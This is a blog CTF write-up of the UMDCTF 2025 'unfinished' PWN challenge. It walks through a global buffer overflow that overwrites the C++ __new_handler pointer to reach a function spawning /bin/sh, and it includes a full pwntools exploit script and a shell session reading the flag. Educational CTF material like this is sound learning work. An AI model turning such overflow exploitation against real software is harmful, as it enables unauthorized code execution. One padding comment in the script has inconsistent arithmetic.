Mariusz Bartosik's website

Graphics programming, demoscene and book reviews

UMDCTF 2025 unfinished write-up

umdctf unfinished write-up cover

UMDCTF 2025, the ninth annual CTF from the University of Maryland’s cybersecurity crew, had some fun challenges. I decided to write up one particular PWN task called “unfinished”. Yep, that’s the actual name. Rest assured, I did actually finish solving it, and this write-up is complete!

Category: PWN
Points: 420
Solves: 93 out of 708 teams
Author: aparker
Challenge:
TODO: finish the challenge
nc challs.umdctf.io 31003
Downloads:
unfinished.cpp unfinished Dockerfile Makefile

Initial recon

We begin with an ELF executable, its source code, and two extra files.

Source code

Let’s take a look at unfinished.cpp:

#include <cstdio>
#include <cstdlib>

char number[128];

void sigma_mode() {
    system("/bin/sh");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    printf("What size allocation?\n");
    fgets(number, 500, stdin);

    long n = atol(number);
    int *chunk = new int[n];
    // TODO: finish the heap chal
}

The goal seems to be to exploit the provided ELF binary to read the flag by gaining a shell through the sigma_mode function, which calls system("/bin/sh"). We need some way to execute it.

Binary Analysis

$ checksec --file=unfinished
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   401 Symbols       Yes   1               4               unfinished

Full RELRO: GOT is read-only. Stack Canary found, protects stack overflows, but irrelevant for BSS. NX: No executable stack/heap. No PIE: Fixed addresses (base 0x400000).

$ file unfinished
unfinished: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c1b893608e7427666ca5fe40f579e498eca3407, for GNU/Linux 4.4.0, not stripped

64-bit, dynamically linked. Not stripped: Symbols available.

Dockerfile

FROM ubuntu:24.04 AS app
FROM pwn.red/jail

COPY --from=app / /srv
COPY ./unfinished /srv/app/run
COPY ./flag.txt /srv/app/flag.txt

RUN chmod +x /srv/app/run

ENV JAIL_PORT=1447 JAIL_MEM=128M JAIL_ENV_NUM=5 JAIL_PID=20 JAIL_TIME=1200

The executable is renamed to “run”, and the flag is in the same directory. The shell is sandboxed by redpwn/jail.

Makefile

unfinished: unfinished.cpp
	g++ -Wl,-z,now -static-libgcc -static-libstdc++ unfinished.cpp -o unfinished -no-pie

Indicates -no-pie (confirmed) and static linking, but the binary is dynamically linked, suggesting a build mismatch.

Vulnerability Identification

The program reads up to 500 bytes of input into a global buffer number which is only 128 bytes in size. This is a clear buffer overflow vulnerability on a global variable. The fgets function reads more data than the number buffer can hold, allowing us to write past the end of the buffer in the data segment. The input read by fgets is then processed by atol to determine the size of a heap allocation using new int[n].

The goal is to execute the sigma_mode() function. Since the overflow is on a global buffer and not directly on the stack, we cannot directly overwrite the return address. We need to find another way to redirect control flow.

A common technique when overflowing global data is to overwrite a global function pointer. In C++, when a heap allocation fails (e.g., due to requesting an extremely large size), the standard library’s new operator calls a registered new handler function. By default, this handler might throw an exception or call abort(). However, we can overwrite the pointer to this handler to point to our desired function, sigma_mode. The pointer to the global new handler is typically stored in a global variable like __new_handler.

Exploit Development

To implement this strategy, we need the addresses of sigma_mode, the number buffer, and the __new_handler global variable in the compiled unfinished binary. You can use gdb and objdump for this:

$ gdb ./unfinished
(...)
(gdb) info variables
All defined variables:
Non-debugging symbols:
(...)
0x000000000041f060  number
0x000000000041f0e0  (anonymous namespace)::emergency_pool
0x000000000041f120  __gnu_cxx::__verbose_terminate_handler()::terminating
0x000000000041f128  (anonymous namespace)::__new_handler
(...)
$ objdump -t unfinished | grep sigma
00000000004019b6 g     F .text  0000000000000016              _Z10sigma_modev

Or using nm:

$ nm unfinished | grep sigma
00000000004019b6 T _Z10sigma_modev

From these addresses, you can calculate the offset from the start of the number buffer to the __new_handler:

OFFSET_TO_NEW_HANDLER = ADDR_NEW_HANDLER - ADDR_NUMBER_BUFFER
OFFSET_TO_NEW_HANDLER = 0x41f128 - 0x41f060 = 0x88 = 136 bytes

This means we need 136 bytes of data from the start of the number buffer to reach the memory location where the __new_handler pointer is stored. Since the number buffer is 128 bytes, this offset includes the 128 bytes of the buffer plus 8 bytes of padding immediately following it before the __new_handler pointer.

We can use pwntools to craft the exploit. The payload needs to start with a string that atol can parse into a large number to trigger the allocation failure. This string will occupy the beginning of the number buffer. The remaining space in the buffer and the 8 bytes of padding before __new_handler will be filled with junk data. Finally, the address of sigma_mode will overwrite the __new_handler pointer.

The payload structure is: [large number string] + [padding] + [address of sigma_mode]
The length of the large number string plus the padding must equal the OFFSET_TO_NEW_HANDLER (136 bytes).

from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

ADDR_SIGMA_MODE = 0x4019b6
ADDR_NUMBER_BUFFER = 0x41f060
ADDR_NEW_HANDLER = 0x41f128
OFFSET_TO_NEW_HANDLER = ADDR_NEW_HANDLER - ADDR_NUMBER_BUFFER #136

HOST = 'challs.umdctf.io'
PORT = 31003

try:
    r = remote(HOST, PORT)
except:
    print("Connection failed.")
    exit(1)

r.recvuntil(b"What size allocation?\n")

large_number = b"999999999999" # 12 bytes
padding_len = OFFSET_TO_NEW_HANDLER - len(large_number) # 136 - 18 = 124

payload = large_number + b'A' * padding_len + p64(ADDR_SIGMA_MODE)

r.sendline(payload)
print("Payload sent.")
r.interactive()

Execution and Flag

The exploit script successfully connects to the remote server, sends the crafted payload, attempts to allocate about 4 terabytes of RAM, triggers an allocation failure, overwrites __new_handler, and executes sigma_mode, providing a shell. From the Dockerfile, we already know that the flag should be in the same directory as the executable.

$ python solve.py
[+] Opening connection to challs.umdctf.io on port 31003: Done
b'What size allocation?\n'
Payload sent.
[*] Switching to interactive mode
$ ls
flag.txt
run

Indeed, here it is, let’s see:

$ cat flag.txt
UMDCTF{crap_i_have_to_come_up_with_a_flag_too?????????}

Summary

The challenge was solvable by exploiting a simple fgets buffer overflow on a global buffer. By overwriting the __new_handler global function pointer with the address of the sigma_mode function and triggering an allocation failure, we were able to achieve access to the shell and retrieve the flag. Overall, this was a nice challenge and offered good educational value.

You may also like to check out an official solution, which takes a slightly different approach by overwriting the registered_frames variable.

Avatar

Written by Mariusz Bartosik

I'm a software engineer passionate about 3D graphics programming and the demoscene. I'm also an educator and enthusiast of e-learning. I enjoy reading books. In my free time, I secretly work in my lab on the ultimate waffles with whipped cream recipe.

Comments

Leave a Reply

Required fields are marked *. Your email address will not be published. You can use Gravatar to personalize your avatar.

Allowed HTML tags: <blockquote> <a href=""> <strong> <em> <pre> . Use [code lang="cpp"] and [/code] for highlighted code.